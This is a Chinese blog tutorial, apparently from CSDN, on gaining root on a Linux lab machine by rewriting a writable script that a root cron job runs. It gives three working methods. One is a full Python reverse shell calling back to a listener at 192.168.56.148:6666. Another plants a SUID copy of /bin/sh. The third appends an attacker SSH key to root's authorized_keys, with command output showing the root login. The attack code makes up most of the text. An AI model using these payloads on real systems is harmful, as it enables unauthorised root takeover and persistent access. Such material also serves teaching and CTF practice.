利用定时任务提权

前提

有以 root 权限执行的定时任务,且该任务执行的脚本是当前 shell 用户可以修改的。

利用定时任务提权

​ 我们在拿到shell之后,如果没有现成的内核提权exp可供使用的话,可以从他们的定时任务入手,看看有没有定时任务调用的脚本文件是我们的shell用户可以修改的,同时又是以 root 用户执行的,然后就可以修改之后静待反弹了

方法1 利用定时任务中使用的有修改权限的文件反弹 root shell

首先,我们需要先看有没有定时任务,然后,我们需要找到当前 shell 对哪些文件拥有 修改 的权限,这个文件还需要被定时任务执行,可以使用以下命令

cat /var/log/cronlog			# 查看是否执行了定时任务,crontab -l 需要 root 权限使用,所以我们只能看日志了
*/2 * * * * cleaner.py
find / -perm -o+w -type f 2> /dev/null | grep /proc -v 
# 这句命令的意思是,找出除 /proc 文件下的所有有 写 和 执行 权限的文件
# find -perm 按照文件权限匹配文件,-o+w 表示包括具有 写权限 的文件,同时属于所有用户的
# find -type f  查找类型是文件的文件
# 2> /dev/null 丢掉报错
# grep /proc -v  -v 表示反向查找,就是不包含 /proc 目录下的
/srv/ftp/lol.pcap
/var/tmp/cleaner.py.swp
/var/www/html/sup3rs3cr3tdirlol/roflmao
/var/log/cronlog
/sys/fs/cgroup/systemd/user/1002.user/19.session/cgroup.event_control
/sys/fs/cgroup/systemd/user/1002.user/cgroup.event_control
/sys/fs/cgroup/systemd/user/cgroup.event_control
/sys/fs/cgroup/systemd/cgroup.event_control
/sys/kernel/security/apparmor/.access
/lib/log/cleaner.py

可以看到满足 可修改 的文件有 cleaner.py,这个文件被定时任务执行,只需要修改它的内容去反弹shell,我们就只要打开监听,等着它被执行就好了

下面开始利用

ssh> nano /lib/log/cleaner.py
# 然后将以下代码替换之前的代码,在攻击机打开 nc 开始监听,等待反弹即可
#!/usr/bin/python
def con():
	import socket, time,pty, os
	host='192.168.56.148'
	port=6666
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	# 创建一个使用tcp协议套接字的网络连接
	s.settimeout(10)			# 设置超时时间 10s
	s.connect((host,port))			# 使用tcp连接 目标主机
	# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2
	# 使用fileObject.fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0
	# 三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
	os.dup2(s.fileno(),0)		# 这里的 0,1,2 代表 标准输入 输出 错误输出
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null') # 设置环境变量。Histfile 是变量名,/dev/null 是变量值
	pty.spawn("/bin/bash")		# 获取交互式shell
	s.close()					# 关闭连接
con()

kali> nc -nvlp 6666

方法2 利用定时任务创建sh提权,将 当前用户提到 root 群组

利用条件同提权2 ,只是修改成以下代码

#!/usr/bin/env python
import os
import sys
try:
       os.system('cp /bin/sh /tmp/test')
       os.system('chmod u+s /tmp/test')		# chmod u+s 就是给某个程序的所有者以suid权限,可以像root用户一样操作
except:
        sys.exit()

等待定时任务执行后,只需要执行 ./tmp/test 即可提权完成

但这种情况下的 root 权限只是暂时的,在此时反弹的 shell 也是原用户的shell,而不是 root shell。

方法3 写入ssh rsa ,使用ssh免密登录root用户

这里我们先介绍一下通过免密登录ssh的两种方法:(A登录B服务器)

  1. 在B服务器上,把A的公钥pub文件,放到B的 /root/.ssh/authorized_key 文件中。

authorized_keys文件里保存了其他人的公钥列表,代表这些服务器可以直接登录自己。
通过ssh 就可以直接登录 ssh root@B的ip

令执行过程:A会用自己的.ssh/目录下的私钥文件,例如 id_rds进行加密登录。而B会用自己authorized_keys保存的公钥内容进行解密,如果解密成功。就认为A是合法用户,让A免密登录。注:所以A的目录下必须有id_rsa文件。

  1. 下载B的私钥文件,生成pem文件

    新建一个pem文件,把B的private内容粘贴进去

    利用ssh命令即可登录

    ssh -i b的私钥.pem文件 root@B的ip地址

    B的私钥文件(原本只能B自己知道)给了A,证明B足够信任A,A可以直接登录B
    
    命令执行过程:A会用-i指定的私钥文件(这里就是B的私钥文件)加密,B在自己的authorized_keys中用自己的公钥文件解密。如果成功,就认为A是合法用户,让A免密登录。
    

这里我们利用的就是方式一,通过定时任务的文件,将自己的 公钥放入靶机的 authorized_keys 文件,实现攻击机的免密登录

kali> ssh-keygen   
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):  # 输入key的保存路径,这里不是指定 回车 即可,默认路径 /root/.ssh/id_rsa
Enter passphrase (empty for no passphrase): 	# 输入口令,直接回车就是空口令
Enter same passphrase again: 			# 再次输入口令,直接回车就行了
Your identification has been saved in  
Your public key has been saved in  .pub
The key fingerprint is:
SHA256:e+x2FkCYSZ+q1NzKHYay27gwjYchsmIrlZw5yNCjcso root@kali-attack
The key's randomart image is:
+---[RSA 3072]----+
|       ..+       |
|        +...     |
| .       .o      |
|. o    o +.      |
|++.=. o S +.     |
|++O. * = * ..    |
|== .= = + +  .   |
|=E.  + + o. o    |
|..    +....o     |
+----[SHA256]-----+      
kali> cat /root/.ssh/id_rsa_pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF019H+gCL1wZgmScqpqBbjgR0qKQ7mtXTtUqPuj5hJ0mhVoq4IUQCxwcKythVIxGPBoaF4J/I6AVHZkYUKliaeXbJqsVYym3sO5DZtkK726DfpQDzikcuFe3f/HBHXUp8CFDN4XqznDypeXfrmff3yBwsjyyr6kbtmBScYIJwW7ThA2NffS7gJzV640QQJpQqTH2r6b8ubDA3OKeKlMdquub7nQ9q6/VLmPudN+Fp2JmBMWUxlGmwxJwVEn9NCxQKHrp66/1ikk/tIeZ1VUz76d+uIeZmN1jPCXNO3X5JU/wM23JsBCMhivlgEcW3G4uyS3qVHruJJeEmbs= root@kali-attack

要利用的话只需要在靶机上创建一个 /root/.ssh/ 文件夹,并创建一个 authorized_keys,再将上面的公钥写入其中,等待定时任务执行后通过攻击机直接登录即可,此时登录就是 root 权限

shell> nano /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
       os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF019H+gCL1wZgmScqpqBbjgR0qKQ7mtXTtUqPuj5hJ0mhVoq4IUQCxwcKythVIxGPBoaF4J/I6AVHZkYUKliaeXbJqsVYym3sO5DZtkK726DfpQDzikcuFe3f/HBHXUp8CFDN4XqznR4+UiBxWYxv2P58usO1IY6u3xLMIrMUO87GtiBfU9A3OKeKlMdquub7nQ9q6/VLmPudN+Fp2JmBMWUxlGmwxJwVEn9NCxQKHrp66/1ikk/tIeZ1VUz76d+uIeZmN1jPCXNO3X5JU/wM23JsBCMhivlgEcW3G4uyS3qVHruJJeEmbs= root@kali-attack" >> /root/.ssh/authorized_keys')
except:
        sys.exit()
        
kali> ssh root@192.168.56.151  # 即可
Last failed login: Sat Apr 22 18:23:58 CST 2023 from 192.168.56.151 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Sat Apr 22 17:33:41 2023 from 192.168.56.151
root@192.168.56.151:/#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值